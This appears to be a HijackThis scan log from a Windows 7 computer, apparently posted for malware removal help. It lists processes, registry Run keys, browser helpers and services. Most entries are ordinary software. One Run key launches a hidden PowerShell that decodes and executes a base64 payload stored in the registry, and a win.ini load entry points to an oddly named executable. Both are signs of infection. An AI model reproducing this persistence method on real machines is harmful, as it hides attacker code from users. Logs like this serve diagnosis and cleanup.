Logfile of Trend Micro HijackThis v2.0.4
Scan saved at 01:29:06 م, on 11/23/2015
Platform: Windows 7 SP1 (WinNT 6.00.3505)
MSIE: Internet Explorer v11.0 (11.00.9600.18098)
Boot mode: Normal
Running processes:
J:\Windows\system32\Dwm.exe
J:\Windows\Explorer.EXE
J:\Windows\system32\taskhost.exe
J:\Windows\system32\GWX\GWX.exe
J:\Windows\System32\hkcmd.exe
J:\Windows\System32\igfxpers.exe
J:\Windows\system32\msiexec.exe
J:\Program Files\Nike\Nike+ Connect\Nike+ Connect daemon.exe
J:\Program Files\Microsoft Office\Office12\GrooveMonitor.exe
J:\Program Files\Realtek\Audio\HDA\RtHDVCpl.exe
J:\Program Files\iTunes\iTunesHelper.exe
J:\Users\maher\AppData\Local\Google\Update\GoogleUpdate.exe
J:\Program Files\Common Files\Ahead\Lib\NMBgMonitor.exe
J:\Program Files\Tibbo\TDST\tmon.exe
J:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
J:\Windows\system32\conhost.exe
J:\Program Files\Wondershare\MobileGo-b\MobileGoService.exe
J:\Program Files\Common Files\Ahead\Lib\NMIndexStoreSvr.exe
J:\Program Files\Mozilla Firefox\firefox.exe
J:\Program Files\Internet Explorer\iexplore.exe
J:\Program Files\Internet Explorer\iexplore.exe
J:\Windows\system32\Macromed\Flash\FlashUtil32_19_0_0_245_ActiveX.exe
J:\Program Files\Internet Explorer\iexplore.exe
J:\Users\maher\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\M0WZTRIB\HiJackThis.exe
R1 - HKCU\Software\Microsoft\Internet Explorer\Main,Search Bar = Preserve
R1 - HKCU\Software\Microsoft\Internet Explorer\Main,Search Page =
}
R1 - HKLM\Software\Microsoft\Internet Explorer\Main,Default_Page_URL =
R1 - HKLM\Software\Microsoft\Internet Explorer\Main,Default_Search_URL =
R1 - HKLM\Software\Microsoft\Internet Explorer\Main,Search Page =
R0 - HKLM\Software\Microsoft\Internet Explorer\Main,Start Page =
R1 - HKCU\Software\Microsoft\Internet Explorer\Search,Default_Search_URL =
}
R1 - HKCU\Software\Microsoft\Internet Explorer\Search,SearchAssistant =
}
R0 - HKLM\Software\Microsoft\Internet Explorer\Search,SearchAssistant =
R0 - HKLM\Software\Microsoft\Internet Explorer\Search,CustomizeSearch =
R1 - HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings,ProxyOverride = *.local
R0 - HKCU\Software\Microsoft\Internet Explorer\Toolbar,LinksFolderName =
F3 - REG:win.ini: load=J:\ProgramData\msmngzjkh.exe
O2 - BHO: Search Helper - {6EBF7485-159F-4bff-A14F-B9E3AAC4465B} - J:\Program Files\Microsoft\Search Enhancement Pack\Search Helper\SEPsearchhelperie.dll
O2 - BHO: Groove GFS Browser Helper - {72853161-30C5-4D22-B7F9-0BBC1D38A37E} - J:\PROGRA~1\MICROS~2\Office12\GR469A~1.DLL
O2 - BHO: Java(tm) Plug-In SSV Helper - {761497BB-D6F0-462C-B6EB-D4DAF1D92D43} - J:\Program Files\Java\jre1.8.0_40\bin\ssv.dll
O2 - BHO: DefaultTabBHO - {7F6AFBF1-E065-4627-A2FD-810366367D01} - (no file)
O2 - BHO: avast! Online Security - {8E5E2654-AD2D-48bf-AC2D-D17F00898D06} - J:\Program Files\AVAST Software\Avast\aswWebRepIE.dll
O2 - BHO: Bing Bar BHO - {d2ce3e00-f94a-4740-988e-03dc2f38c34f} - J:\Program Files\MSN Toolbar\Platform\6.3.2291.0\npwinext.dll
O2 - BHO: Java(tm) Plug-In 2 SSV Helper - {DBC80044-A445-435b-BC74-9C25C1C588A9} - J:\Program Files\Java\jre1.8.0_40\bin\jp2ssv.dll
O3 - Toolbar: @J:\Program Files\MSN Toolbar\Platform\6.3.2291.0\npwinext.dll,-100 - {8dcb7100-df86-4384-8842-8fa844297b3f} - J:\Program Files\MSN Toolbar\Platform\6.3.2291.0\npwinext.dll
O4 - HKLM\..\Run: [IgfxTray] J:\Windows\system32\igfxtray.exe
O4 - HKLM\..\Run: [HotKeysCmds] J:\Windows\system32\hkcmd.exe
O4 - HKLM\..\Run: [Persistence] J:\Windows\system32\igfxpers.exe
O4 - HKLM\..\Run: [APSDaemon] "J:\Program Files\Common Files\Apple\Apple Application Support\APSDaemon.exe"
O4 - HKLM\..\Run: [NeroFilterCheck] J:\Program Files\Common Files\Ahead\Lib\NeroCheck.exe
O4 - HKLM\..\Run: [Nike+ Connect] "J:\Program Files\Nike\Nike+ Connect\Nike+ Connect daemon.exe"
O4 - HKLM\..\Run: [Microsoft Default Manager] "J:\Program Files\Microsoft\Search Enhancement Pack\Default Manager\DefMgr.exe" -resume
O4 - HKLM\..\Run: [HPUsageTrackingLEDM] "J:\Program Files\HP\HP UT LEDM\bin\hppusg.exe" "J:\Program Files\HP\HP UT LEDM\"
O4 - HKLM\..\Run: [GrooveMonitor] "J:\Program Files\Microsoft Office\Office12\GrooveMonitor.exe"
O4 - HKLM\..\Run: [RTHDVCPL] "J:\Program Files\Realtek\Audio\HDA\RtHDVCpl.exe" -s
O4 - HKLM\..\Run: [AvastUI.exe] "J:\Program Files\AVAST Software\Avast\AvastUI.exe" /nogui
O4 - HKLM\..\Run: [iTunesHelper] "J:\Program Files\iTunes\iTunesHelper.exe"
O4 - HKCU\..\Run: [Google Update] "J:\Users\maher\AppData\Local\Google\Update\GoogleUpdate.exe" /c
O4 - HKCU\..\Run: [SmartVoip] "J:\Program Files\SmartVoip.com\SmartVoip\SmartVoip.exe" -nosplash -minimized
O4 - HKCU\..\Run: [] J:\Program Files\Samsung\Kies\External\FirmwareUpdate\KiesPDLR.exe Run
O4 - HKCU\..\Run: [BgMonitor_{79662E04-7C6C-4d9f-84C7-88D8A56B10AA}] "J:\Program Files\Common Files\Ahead\Lib\NMBgMonitor.exe"
O4 - HKCU\..\Run: [KiesPreload] J:\Program Files\Samsung\Kies\Kies.exe /preload
O4 - HKCU\..\Run: [Tibbo Monitor] J:\Program Files\Tibbo\TDST\tmon.exe /minimize
O4 - HKCU\..\Run: [{235EE8F4-E633-4DE7-AC2A-BAECBF52D6A9}] J:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -noprofile -windowstyle hidden -executionpolicy bypass iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\PZSzTGbrSImoQys').uYvTQDz)));
O4 - Global Startup: MobileGo Service.lnk = J:\Program Files\Wondershare\MobileGo-b\MobileGoService.exe
O9 - Extra button: Send to OneNote - {2670000A-7350-4f3c-8081-5663EE0C6C49} - J:\PROGRA~1\MICROS~2\Office12\ONBttnIE.dll
O9 - Extra 'Tools' menuitem: S&end to OneNote - {2670000A-7350-4f3c-8081-5663EE0C6C49} - J:\PROGRA~1\MICROS~2\Office12\ONBttnIE.dll
O11 - Options group: [ACCELERATED_GRAPHICS] Accelerated graphics
O16 - DPF: {D27CDB6E-AE6D-11CF-96B8-444553540000} (Shockwave Flash Object) -
O18 - Protocol: grooveLocalGWS - {88FED34C-F0CA-4636-A375-3CB6248B04CD} - J:\PROGRA~1\MICROS~2\Office12\GRA32A~1.DLL
O23 - Service: Adobe Acrobat Update Service (AdobeARMservice) - Adobe Systems Incorporated - J:\Program Files\Common Files\Adobe\ARM\1.0\armsvc.exe
O23 - Service: Adobe Flash Player Update Service (AdobeFlashPlayerUpdateSvc) - Adobe Systems Incorporated - J:\Windows\system32\Macromed\Flash\FlashPlayerUpdateService.exe
O23 - Service: Apple Mobile Device - Apple Inc. - J:\Program Files\Common Files\Apple\Mobile Device Support\AppleMobileDeviceService.exe
O23 - Service: Avast Antivirus (avast! Antivirus) - AVAST Software - J:\Program Files\AVAST Software\Avast\AvastSvc.exe
O23 - Service: Avast Firewall (avast! Firewall) - AVAST Software - J:\Program Files\AVAST Software\Avast\afwServ.exe
O23 - Service: AvastVBox COM Service (AvastVBoxSvc) - Avast Software - J:\Program Files\AVAST Software\Avast\ng\vbox\AvastVBoxSVC.exe
O23 - Service: Bonjour Service - Apple Inc. - J:\Program Files\Bonjour\mDNSResponder.exe
O23 - Service: HP LaserJet Service - HP - J:\Program Files\HP\HPLaserJetService\HPLaserJetService.exe
O23 - Service: HP SI Service (HPSIService) - HP - J:\Windows\system32\HPSIsvc.exe
O23 - Service: خدمة iPod (iPod Service) - Apple Inc. - J:\Program Files\iPod\bin\iPodService.exe
O23 - Service: Mozilla Maintenance Service (MozillaMaintenance) - Mozilla Foundation - J:\Program Files\Mozilla Maintenance Service\maintenanceservice.exe
O23 - Service: NBService - Nero AG - J:\Program Files\Nero\Nero 7\Nero BackItUp\NBService.exe
O23 - Service: NMIndexingService - Nero AG - J:\Program Files\Common Files\Ahead\Lib\NMIndexingService.exe
O23 - Service: Realtek87B - Realtek - J:\Program Files\Realtek\RTL8187 Wireless LAN Utility\RtlService.exe
O23 - Service: Realtek Audio Service (RtkAudioService) - Realtek Semiconductor - J:\Program Files\Realtek\Audio\HDA\RtkAudioService.exe
O23 - Service: Tibbo Service (tsvc) - Tibbo Technology Inc. - J:\Program Files\Tibbo\TDST\tsvc.exe
O23 - Service: Wondershare Application Framework Service (WsAppService) - Wondershare - J:\Program Files\Wondershare\WAF\WsAppService.exe
O23 - Service: Wondershare Driver Install Service (WsDrvInst) - Wondershare - J:\Program Files\Wondershare\MobileGo-b\DriverInstall.exe
--
End of file - 8619 bytes
